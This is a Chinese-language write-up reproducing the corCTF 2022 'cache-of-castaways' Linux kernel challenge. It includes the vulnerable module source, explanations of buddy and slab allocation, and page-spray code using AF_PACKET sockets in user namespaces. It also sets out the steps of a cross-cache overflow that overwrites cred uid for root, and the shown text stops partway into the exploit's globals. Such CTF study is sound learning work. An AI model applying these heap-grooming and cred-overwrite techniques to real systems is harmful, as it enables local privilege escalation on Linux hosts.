目录

corCTF 2022-cache-of-castaways复现

保护机制:SMAP, SMEP, KPTI, KASLR 及常用的保护机制,并且仅用了msg_msg。版本是5.18.3

漏洞点

source code

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/miscdevice.h>
#include <linux/uaccess.h>
#include <linux/types.h>
#include <linux/random.h>
#include <linux/delay.h>
#include <linux/list.h>
#include <linux/vmalloc.h>

#define DEVICE_NAME "castaway"
#define CLASS_NAME  "castaway"

#define OVERFLOW_SZ 0x6

#define CHUNK_SIZE 512
#define MAX 8 * 50

#define ALLOC 0xcafebabe
#define DELETE 0xdeadbabe
#define EDIT 0xf00dbabe

MODULE_DESCRIPTION("a castaway cache, a secluded slab, a marooned memory");
MODULE_LICENSE("GPL");
MODULE_AUTHOR("FizzBuzz101");

typedef struct
{
    int64_t idx;
    uint64_t size;
    char *buf;    
}user_req_t;

int castaway_ctr = 0;

typedef struct
{
    char pad[OVERFLOW_SZ];
    char buf[];
}castaway_t;

struct castaway_cache
{
    char buf[CHUNK_SIZE];
};

static DEFINE_MUTEX(castaway_lock);

castaway_t **castaway_arr;

static long castaway_ioctl(struct file *file, unsigned int cmd, unsigned long arg);
static long castaway_add(void);
static long castaway_edit(int64_t idx, uint64_t size, char *buf);


static struct miscdevice castaway_dev;
static struct file_operations castaway_fops = {.unlocked_ioctl = castaway_ioctl};

static struct kmem_cache *castaway_cachep;

static long castaway_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
    user_req_t req;
    long ret = 0;

    if (cmd != ALLOC && copy_from_user(&req, (void *)arg, sizeof(req)))
    {
        return -1;
    }
    mutex_lock(&castaway_lock);
    switch (cmd)
    {
        case ALLOC:
            ret = castaway_add();
            break;
        case EDIT:
            ret = castaway_edit(req.idx, req.size, req.buf);
            break;
        default:
            ret = -1;
    }
    mutex_unlock(&castaway_lock);
    return ret;
}

static long castaway_add(void)
{
    int idx;
    if (castaway_ctr >= MAX)
    {
        goto failure_add;
    }
    idx = castaway_ctr++;
    castaway_arr[idx] = kmem_cache_zalloc(castaway_cachep, GFP_KERNEL_ACCOUNT);

    if (!castaway_arr[idx])
    {
        goto failure_add;
    }

    return idx;

    failure_add:
    printk(KERN_INFO "castaway chunk allocation failed\n");
    return -1;
}

static long castaway_edit(int64_t idx, uint64_t size, char *buf)
{
    char temp[CHUNK_SIZE];
    if (idx < 0 || idx >= MAX || !castaway_arr[idx])
    {
        goto edit_fail;
    }
    if (size > CHUNK_SIZE || copy_from_user(temp, buf, size))
    {
        goto edit_fail;
    }
    memcpy(castaway_arr[idx]->buf, temp, size);

    return size;

    edit_fail:
    printk(KERN_INFO "castaway chunk editing failed\n");
    return -1;
}

static int init_castaway_driver(void)
{
    castaway_dev.minor = MISC_DYNAMIC_MINOR;
    castaway_dev.name = DEVICE_NAME;
    castaway_dev.fops = &castaway_fops;
    castaway_dev.mode = 0644;
    mutex_init(&castaway_lock);
    if (misc_register(&castaway_dev))
    {
        return -1;
    }
    castaway_arr = kzalloc(MAX * sizeof(castaway_t *), GFP_KERNEL);
    if (!castaway_arr)
    {
        return -1;
    }
    castaway_cachep = KMEM_CACHE(castaway_cache, SLAB_PANIC | SLAB_ACCOUNT);
    if (!castaway_cachep)
    {
        return -1;
    }
    printk(KERN_INFO "All alone in an castaway cache... \n");
    printk(KERN_INFO "There's no way a pwner can escape!\n");
    return 0;
}

static void cleanup_castaway_driver(void)
{
    int i;
    misc_deregister(&castaway_dev);
    mutex_destroy(&castaway_lock);
    for (i = 0; i < MAX; i++)
    {
        if (castaway_arr[i])
        {
            kfree(castaway_arr[i]);
        }
    }
    kfree(castaway_arr);
    printk(KERN_INFO "Guess you remain a castaway\n");
}

module_init(init_castaway_driver);
module_exit(cleanup_castaway_driver);

ioctl维护了两个功能,一个是alloc一个是edit

castaway_add: 申请大小为512大小的堆块,标识符为GFP_KERNEL_ACCOUNT,因此kmem_cache为kmalloc-cg-512并将申请的地址放入到castaway_arr[idx]里面

castaway_edit: 根据idx,像castaway_arr[idx]->buf里面拷贝size大小的数据

其中castaway的结构体如下

1
2
3
4
5
6
#define OVERFLOW_SZ 0x6
typedef struct
{
    char pad[OVERFLOW_SZ];
    char buf[];
}castaway_t;

因此存在6个字节的溢出

漏洞分析

其实就相当于0x200的六个字节的溢出,但是禁用了msg_msg,同时注意到slab_cache申请是用SLAB_PANIC | SLAB_ACCOUNT的标注位申请的,同时作者在编译的时候开启了CONFIG_MEMCG_KEME并仅用了CONFIG_SLAB_MERGE_DEFAULT选项,所以申请的是一个独立的页面。所以该如何利用这六个字节的溢出呢

答案是 cross casche overflows(即跨页缓存攻击)

漏洞利用

前置知识

算法原理

伙伴系统,专门用来分配以页为单位的大内存,且分配的内存大小必须是2的整数次幂。这里的幂次叫做 order,例如一页的大小是4K,order为1的块就是 2^1 * 4K = 8K。每次分配时都寻找对应order的块,如果没有,就将order更高的块分裂为2个order低的块。释放时,如果两个order低的块是分裂出来的,就将他们合并为更高order的块。

我们用wiki中的例子就可以很好地说明了。

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/buddy-example.jpg

这个例子中,分配的最小单位是64K,初始时的最大块order=4. 依次进行下面的操作

  1. 初始状态
  2. 分配块A 34K, order=0.
    1. 没有order为0的块,切分order=4的块为2个order=3的块.
    2. 仍然没有order=0的块,再切分order=3的块.
    3. 仍然没有order=0的块,再切分order=2的块.
    4. 仍然没有order=0的块,再切分order=1的块.
    5. 将order=0的块返回.
  3. 分配块B 66K, order=1. 已经有了,直接返回.
  4. 分配块C 35K, order=0. 也已经有了,直接返回.
  5. 分配块D 67K, order=1. 切分一个order=2的块,返回.
  6. 块B释放.
  7. 块D释放,因为与其后面的order=1的块是第5步分裂得来的,再将其合并为order=2的块.
  8. 块A释放.
  9. 块C释放,依次合并.

注意这里合并的时候,被合并的邻居得是之前分裂出来的伙伴(Buddy),这也是该算法的由来.

slab分配器

基本原理

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/slab.png

这张图可以说是介绍slab的文章中出现频次最高的了,我们只要记住,kmem_cache是类似于glibc arena的结构,每个kmem_cache由若干个slab构成,每个slab由一个或多个连续的页组成。kmem_cache有一个重要的性质,就是其中所有的object大小都是相同的(准确的说是分配块的大小都相同).

我们借助linux的 /proc/slabinfo 来说明,也可以使用 slabtop 工具来查看slab分配的状态。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# cat /proc/slabinfo
# name            <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables <limit> <batchcount> <sharedfactor> : slabdata <active_slabs> <num_slabs> <sharedavail>
...
task_struct         1194   1287   8576    3    8 : tunables    0    0    0 : slabdata    429    429      0
cred_jar            8665  11088    192   42    2 : tunables    0    0    0 : slabdata    264    264      0
Acpi-Operand        3080   3080     72   56    1 : tunables    0    0    0 : slabdata     55     55      0
Acpi-Parse         10559  10950     56   73    1 : tunables    0    0    0 : slabdata    150    150      0
Acpi-State         18309  18309     80   51    1 : tunables    0    0    0 : slabdata    359    359      0
Acpi-Namespace      2652   2652     40  102    1 : tunables    0    0    0 : slabdata     26     26      0
anon_vma_chain     17825  21120     64   64    1 : tunables    0    0    0 : slabdata    330    330      0
anon_vma            9710  12852     80   51    1 : tunables    0    0    0 : slabdata    252    252      0
pid                 6394  15840    128   32    1 : tunables    0    0    0 : slabdata    495    495      0
numa_policy           31     31    264   31    2 : tunables    0    0    0 : slabdata      1      1      0
radix_tree_node    92496 134484    584   28    4 : tunables    0    0    0 : slabdata   4803   4803      0
trace_event_file    2438   2438     88   46    1 : tunables    0    0    0 : slabdata     53     53      0
ftrace_event_field  18835  30430     48   85    1 : tunables    0    0    0 : slabdata    358    358      0
idr_layer_cache     1140   1140   2096   15    8 : tunables    0    0    0 : slabdata     76     76      0
task_group           624    624    832   39    8 : tunables    0    0    0 : slabdata     16     16      0
dma-kmalloc-8192       0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-4096       0      0   4096    8    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-2048       0      0   2048   16    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-1024       0      0   1024   32    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-512        0      0    512   32    4 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-256        0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-128        0      0    128   32    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-64         0      0     64   64    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-32         0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-16         0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-8          0      0      8  512    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-192        0      0    192   42    2 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-96         0      0     96   42    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-8192         498    532   8192    4    8 : tunables    0    0    0 : slabdata    133    133      0
kmalloc-4096         697    776   4096    8    8 : tunables    0    0    0 : slabdata     97     97      0
kmalloc-2048        2954   3088   2048   16    8 : tunables    0    0    0 : slabdata    193    193      0
kmalloc-1024        8494   8960   1024   32    8 : tunables    0    0    0 : slabdata    280    280      0
kmalloc-512         6414   6624    512   32    4 : tunables    0    0    0 : slabdata    207    207      0
kmalloc-256         3021   3936    256   32    2 : tunables    0    0    0 : slabdata    123    123      0
kmalloc-192         7152   7350    192   42    2 : tunables    0    0    0 : slabdata    175    175      0
kmalloc-128        21357  23712    128   32    1 : tunables    0    0    0 : slabdata    741    741      0
kmalloc-96         11669  25158     96   42    1 : tunables    0    0    0 : slabdata    599    599      0
kmalloc-64         40682  47808     64   64    1 : tunables    0    0    0 : slabdata    747    747      0
kmalloc-32         22528  22528     32  128    1 : tunables    0    0    0 : slabdata    176    176      0
kmalloc-16         12032  12032     16  256    1 : tunables    0    0    0 : slabdata     47     47      0
kmalloc-8          10240  10240      8  512    1 : tunables    0    0    0 : slabdata     20     20      0
kmem_cache_node      512    512     64   64    1 : tunables    0    0    0 : slabdata      8      8      0
kmem_cache           250    250    320   25    2 : tunables    0    0    0 : slabdata     10     10      0

这个文件列出了目前所有的 kmem_cache,第一列是每个mem_cache的名字,我们拿 kmalloc-64 来做说明

  • active_objs: 目前使用中的object数量,一共分配出了40682个objects.
  • num_objs: 总共能够分配的object数量,这里最大是47808个.
  • objsize: 每个object的大小,这里是64 bytes.
  • objperslab: 每个slab可以有多少个object,这里是64个.
  • pagesperslab: 每个slab对应几个page,这里是1个.

所以我们可以看出,kmalloc-64 这个mem_cache,每个slab有1个page也就是4K,每个对象是64B,所以每个slab能容纳的对象是 4K / 64B = 64 个. 如果分配了object数量超过了64个,就需要从别的slab分配,如果分配的对象超过了47808个,就需要申请新的slab,也就是向buddy system申请新的内存页.

漏洞利用细节

1
GFP_KERNEL`  `GFP_KERNEL_ACCOUNT` 是内核中最为常见与通用的分配 flag,常规情况下他们的分配都来自同一个 `kmem_cache` ——即通用的 `kmalloc-xx

这两种 flag 的区别主要在于 GFP_KERNEL_ACCOUNTGFP_KERNEL 多了一个属性——表示该对象与来自用户空间的数据相关联,因此我们可以看到诸如 msg_msgpipe_buffersk_buff的数据包 的分配使用的都是 GFP_KERNEL_ACCOUNT ,而 ldt_structpacket_socket 等与用户空间数据没有直接关联的结构体则使用 GFP_KERNEL

自内核版本 5.14 起,在 这个 commit 当中引入了新的隔离机制——对于开启了 CONFIG_MEMCG_KMEM 编译选项的 kernel 而言(通常都是默认开启),其会为使用 GFP_KERNEL_ACCOUNT 进行分配的通用对象创建一组独立的 kmem_cache ——名为 kmalloc-cg-\* ,从而导致使用这两种 flag 的 object 之间的隔离:

本题中通过cat /proc/slabinfo可以看到kmalloc-cg-512的mem_cache

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230130155008707.png

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230131161317865.png

可以看到其pagesperslab为1(2 ^ 0 ==1),因此kmalloc-cg-512需要order 0 page

同时可以注意到cred_jar也用的是order 0 page

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230130155528356.png

因此我们可以先排空 cred_jar,同时排空kmalloc-cg-512。以便后面分配会在order-0,同时申请许多order-0 page同时避免合并的情况下进行释放,通过堆风水喷射cred 以及 kmalloc-cg-512使得kmalloc-cg-512在cred_jar的上方,通过溢出来篡改cred_jar进行提权

要触发cred分配,只需要fork。尽管标准fork确实会在分配时产生大量noise,但这对于漏洞利用中的初始喷射并不重要。

页喷射

首先找到所有页分配函数的引用点,如 __get_free_pages() / alloc_page() / alloc_pages()。D3v17提出采用 CVE-2017-7308 的页分配方案,如果使用 setsockopt 将 packet 版本设置为 TPACKET_V1/TPACKET_V2 ,然后使用同一syscall来初始化 PACKET_TX_RING(使用 PACKET_MMAP 来创建 ring buffer,用户空间可以直接映射上去,这样可以提高数据传输效率),之后就能触发 packet_setsockopt() 函数,PACKET_RX_RING / PACKET_TX_RING 选项都能控制页分配。

packet_setsockopt() -> packet_set_ring() -> alloc_pg_vec() -> alloc_one_pg_vec_page() -> __get_free_pages()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    case PACKET_RX_RING:
    case PACKET_TX_RING:
    {
        union tpacket_req_u req_u;
        int len;

        lock_sock(sk);
        switch (po->tp_version) {
        case TPACKET_V1:
        case TPACKET_V2:
            len = sizeof(req_u.req);
            break;
        case TPACKET_V3:
        default:
            len = sizeof(req_u.req3);
            break;
        }
        if (optlen < len) {
            ret = -EINVAL;
        } else {
            if (copy_from_sockptr(&req_u.req, optval, len))
                ret = -EFAULT;
            else
                ret = packet_set_ring(sk, &req_u, 0, 				
                            optname == PACKET_TX_RING);
        }
        release_sock(sk);
        return ret;
    }

使用 tpacket_req_u union 结构参数调用 packet_set_ring(),接着会调用 alloc_pg_vec(),page order 由 req->tp_block_size 决定,之后在 [1] 处调用 tp_block_nralloc_one_page_vec(),进而会调用 __get_free_pages() 来分配页。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
		int closing, int tx_ring)
{
    ...
    struct tpacket_req *req = &req_u->req;
    ...
    order = get_order(req->tp_block_size);		// order 基于 req->tp_block_size
	pg_vec = alloc_pg_vec(req, order);
}
    
static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
    unsigned int block_nr = req->tp_block_nr;
    struct pgv *pg_vec;
    int i;

    pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
    if (unlikely(!pg_vec))
        goto out;

    for (i = 0; i < block_nr; i++) {
        pg_vec[i].buffer = alloc_one_pg_vec_page(order); 	// [1]
        if (unlikely(!pg_vec[i].buffer))
            goto out_free_pgvec;
    }

out:
    return pg_vec;

out_free_pgvec:
    free_pg_vec(pg_vec, order, block_nr);
    pg_vec = NULL;
    goto out; 
}

以上原语可以让我们耗尽 tp_block_nr 个 order-n page (n 由 tp_block_size 决定),关闭这个 socket fd 就能释放这 tp_block_nr 个页。虽然低权限用户无法调用这个函数,但是可以利用用户命名空间来绕过。还可以通过喷射普通对象来耗尽page,例如msg_msg,但是不太可靠。

页喷射模板
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sched.h>
#include <assert.h>
#include <time.h>
#include <sys/socket.h>
#include <stdbool.h>
typedef struct
{
    int64_t idx;
    uint64_t size;
    char *buf;    
}user_req_t;

struct tpacket_req {
    unsigned int    tp_block_size;
    unsigned int    tp_block_nr;
    unsigned int    tp_frame_size;
    unsigned int    tp_frame_nr;
};

enum tpacket_versions {
    TPACKET_V1,
    TPACKET_V2,
    TPACKET_V3,
};
#define PACKET_VERSION 10
#define PACKET_TX_RING 13
#define ISO_SLAB_LIMIT 8
#define INITIAL_PAGE_SPRAY 1000
typedef struct
{
    bool in_use;
    int idx[ISO_SLAB_LIMIT];
}full_page;

enum spray_cmd {
    ALLOC_PAGE,
    FREE_PAGE,
    EXIT_SPRAY,
};

typedef struct
{
    enum spray_cmd cmd;
    int32_t idx;
}ipc_req_t;


int rootfd[2];
int sprayfd_child[2];
int sprayfd_parent[2];
int socketfds[INITIAL_PAGE_SPRAY];
// https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
int alloc_pages_via_sock(uint32_t size, uint32_t n)
{
    struct tpacket_req req;
    int32_t socketfd, version;

    socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
    if (socketfd < 0)
    {
        perror("bad socket");
        exit(-1);
    }

    version = TPACKET_V1;

    if (setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0)
    {
        perror("setsockopt PACKET_VERSION failed");
        exit(-1);
    }

    assert(size % 4096 == 0);

    memset(&req, 0, sizeof(req));

    req.tp_block_size = size;
    req.tp_block_nr = n;
    req.tp_frame_size = 4096;
    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

    if (setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0)
    {
        perror("setsockopt PACKET_TX_RING failed");
        exit(-1);
    }

    return socketfd;
}

void spray_comm_handler()
{
    ipc_req_t req;
    int32_t result;

    do {
        read(sprayfd_child[0], &req, sizeof(req));
        assert(req.idx < INITIAL_PAGE_SPRAY);
        if (req.cmd == ALLOC_PAGE)
        {
            socketfds[req.idx] = alloc_pages_via_sock(4096, 1);
        }
        else if (req.cmd == FREE_PAGE)
        {
            close(socketfds[req.idx]);
        }
        result = req.idx;
        write(sprayfd_parent[1], &result, sizeof(result));
    } while(req.cmd != EXIT_SPRAY);

}

void send_spray_cmd(enum spray_cmd cmd, int idx)
{
    ipc_req_t req;
    int32_t result;

    req.cmd = cmd;
    req.idx = idx;
    write(sprayfd_child[1], &req, sizeof(req));
    read(sprayfd_parent[0], &result, sizeof(result));
    assert(result == idx);
}
void unshare_setup(uid_t uid, gid_t gid)
{
    int temp;
    char edit[0x100];
    unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);
    temp = open("/proc/self/setgroups", O_WRONLY);
    write(temp, "deny", strlen("deny"));
    close(temp);
    temp = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", uid);
    write(temp, edit, strlen(edit));
    close(temp);
    temp = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", gid);
    write(temp, edit, strlen(edit));
    close(temp);
    return;
}
int main(){
    pipe(sprayfd_child);
    pipe(sprayfd_parent);

    puts("setting up spray manager in separate namespace");
    if (!fork())
    {
        unshare_setup(getuid(), getgid());
        spray_comm_handler();
    }
    // for communicating with the fork later
    pipe(rootfd);
    send_spray_cmd(ALLOC_PAGE, 0);
    send_spray_cmd(FREE_PAGE, 0);
}

fork噪声问题

调用路径SYSCALL-fork -> kernel_clone() -> copy_process() -> dup_task_struct() & copy_process()

噪声问题fork() 调用可能会分配一些无关对象,产生噪声。其主要调用了 kernel_clone(),注意,一般调用 fork 时没有设置 kernel_clone_args flag,就会导致分配很多对象。调用流程如下:

  • (1)kernel_clone() -> copy_process()

  • (2)copy_process() -> dup_task_struct(),从自己的cache上分配 task_struct 对象 (依赖 order-2 page)。接着调用 alloc_thread_stack_node(),如果没有可用的cached stacks,就会调用 __vmalloc_node_range() 分配16kb 连续线程用作内核线程栈,这样会分配 4个 order-0 page。

  • (3)以上的 vmalloc 会分配1个 kmalloc-64 来帮助设置 vmalloc 虚拟映射;接着,内核会从 vmap_area_cachep 分配2个 vmap_area chunk,第1个是调用 alloc_vmap_area() 函数分配,第2个可能来自 preload_this_cpu_lock() 函数。

  • (4)

    copy_process()->copy_creds(),具体会调用

    prepare_creds()分配 cred 结构(不能设置CLONE_THREADflag)。

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    
    int copy_creds(struct task_struct *p, unsigned long clone_flags)
    {
        struct cred *new;
        int ret;
    
    #ifdef CONFIG_KEYS_REQUEST_CACHE
        p->cached_requested_key = NULL;
    #endif
    
        if (
    #ifdef CONFIG_KEYS
            !p->cred->thread_keyring &&
    #endif
            clone_flags & CLONE_THREAD
            ) {
            p->real_cred = get_cred(p->cred);
            get_cred(p->cred);
            alter_cred_subscribers(p->cred, 2);
            kdebug("share_creds(%p{%d,%d})",
                   p->cred, atomic_read(&p->cred->usage),
                   read_cred_subscribers(p->cred));
            inc_rlimit_ucounts(task_ucounts(p), UCOUNT_RLIMIT_NPROC, 1);
            return 0;
        }
    
        new = prepare_creds(); 			// <--------- 分配 cred
        if (!new)
            return -ENOMEM;
    
  • (5)copy_process() 之后会调用一系列 copy_x() 函数,x 表示进程标识,只要不设置 CLONE flag,这些函数就会触发一个分配(通常从这些cache中分配,files_cache / fs_cache / sighand_cache / signal_cache)。最大的噪声是在设置 mm_struct 时(未设置 CLONE_VM flag 时触发),会有一系列的分配,从 vm_area_struct / anon_vma_chain / anon_vma 这些cache中分配。所有这些分配都会从 order-0 page 取内存。

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    
        retval = copy_semundo(clone_flags, p);
        if (retval)
            goto bad_fork_cleanup_security;
        retval = copy_files(clone_flags, p);
        if (retval)
            goto bad_fork_cleanup_semundo;
        retval = copy_fs(clone_flags, p);
        if (retval)
            goto bad_fork_cleanup_files;
        retval = copy_sighand(clone_flags, p);
        if (retval)
            goto bad_fork_cleanup_fs;
        retval = copy_signal(clone_flags, p);
        if (retval)
            goto bad_fork_cleanup_sighand;
        retval = copy_mm(clone_flags, p);
        if (retval)
            goto bad_fork_cleanup_signal;
        retval = copy_namespaces(clone_flags, p);
        if (retval)
            goto bad_fork_cleanup_mm;
        retval = copy_io(clone_flags, p);
        if (retval)
            goto bad_fork_cleanup_namespaces;
        retval = copy_thread(clone_flags, args->stack, args->stack_size, p, args->tls);
        if (retval)
            goto bad_fork_cleanup_io;
    
  • (6)最后,copy_processhere 分配1个 pid chunk,从 order-0 page 取内存。

在不同的系统配置中,以上的cache特性也不同,取决于 slab mergeability 和所需的 page size。

忽略page分配函数(例如 vmalloc),只看 slab 分配,1次fork会触发分配以下cache。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
task_struct
kmalloc-64
vmap_area
vmap_area
cred_jar
files_cache
fs_cache
sighand_cache
signal_cache
mm_struct
vm_area_struct
vm_area_struct
vm_area_struct
vm_area_struct
anon_vma_chain
anon_vma
anon_vma_chain
vm_area_struct
anon_vma_chain
anon_vma
anon_vma_chain
vm_area_struct
anon_vma_chain
anon_vma
anon_vma_chain
vm_area_struct
anon_vma_chain
anon_vma
anon_vma_chain
vm_area_struct
anon_vma_chain
anon_vma
anon_vma_chain
vm_area_struct
vm_area_struct
pid

降低噪声:基于以上的代码分析和 clone manpage 资料,可以通过设置以下flag来降低噪声——CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND,这样调用 fork 时就会触发以下slab分配:

1
2
3
4
5
6
7
task_struct
kmalloc-64
vmap_area
vmap_area
cred_jar
signal_cache
pid

注意,这里还会有4个order-0 page 分配(vmalloc导致),这个噪声是可接受的。还有一个问题,就是现在子进程不能写任何进程内存,因为和父进程共享了同一内存,所以我们需要使用shellcode来提权。

提权

步骤

  • 清空cred_jar mem_cache
  • 利用 setsockopt 页喷方法,先申请很多 order-0 page 并释放两个其中1个,这样就有很多不会融合到 order-1 的 order-0 page 了;
  • 接着使用以上flag多次调用 clone ,触发分配 cred 对象;此时便会申请到刚刚释放的order-0 page。释放剩下的一半 order-0 page,喷射kmalloc-cg-512。注意,漏洞对象也可以可能溢出内核其他对象,可能导致崩溃,但是作者没有遇到这种情况。
  • 触发所有kmalloc-cg-512的溢出,前4字节(为1)是伪造 cred->usage 以确保通过内核检查,后2字节(为0)篡改 uid 为0。触发溢出后,通过pipe通知所有fork,检查自身的uid,提权成功则触发执行shell。

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
// gcc -static -masm=intel ./exploit.c -o ./exploit
#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sched.h>
#include <assert.h>
#include <time.h>
#include <sys/socket.h>
#include <stdbool.h>

#define ALLOC 0xcafebabe
#define DELETE 0xdeadbabe
#define EDIT 0xf00dbabe

#define CLONE_FLAGS CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND

typedef struct
{
    int64_t idx;
    uint64_t size;
    char *buf;    
}user_req_t;

struct tpacket_req {
    unsigned int tp_block_size;
    unsigned int tp_block_nr;
    unsigned int tp_frame_size;
    unsigned int tp_frame_nr;
};

enum tpacket_versions {
    TPACKET_V1,
    TPACKET_V2,
    TPACKET_V3,
};

#define PACKET_VERSION 10
#define PACKET_TX_RING 13

#define FORK_SPRAY 320
#define CHUNK_SIZE 512
#define ISO_SLAB_LIMIT 8

#define CRED_JAR_INITIAL_SPRAY 100
#define INITIAL_PAGE_SPRAY 1000
#define FINAL_PAGE_SPRAY 30

typedef struct
{
    bool in_use;
    int idx[ISO_SLAB_LIMIT];
}full_page;

enum spray_cmd {
    ALLOC_PAGE,
    FREE_PAGE,
    EXIT_SPRAY,
};

typedef struct      // pipe notify struct
{
    enum spray_cmd cmd;
    int32_t idx;
}ipc_req_t;

full_page isolation_pages[FINAL_PAGE_SPRAY] = {0};

int rootfd[2];
int sprayfd_child[2];
int sprayfd_parent[2];
int socketfds[INITIAL_PAGE_SPRAY];

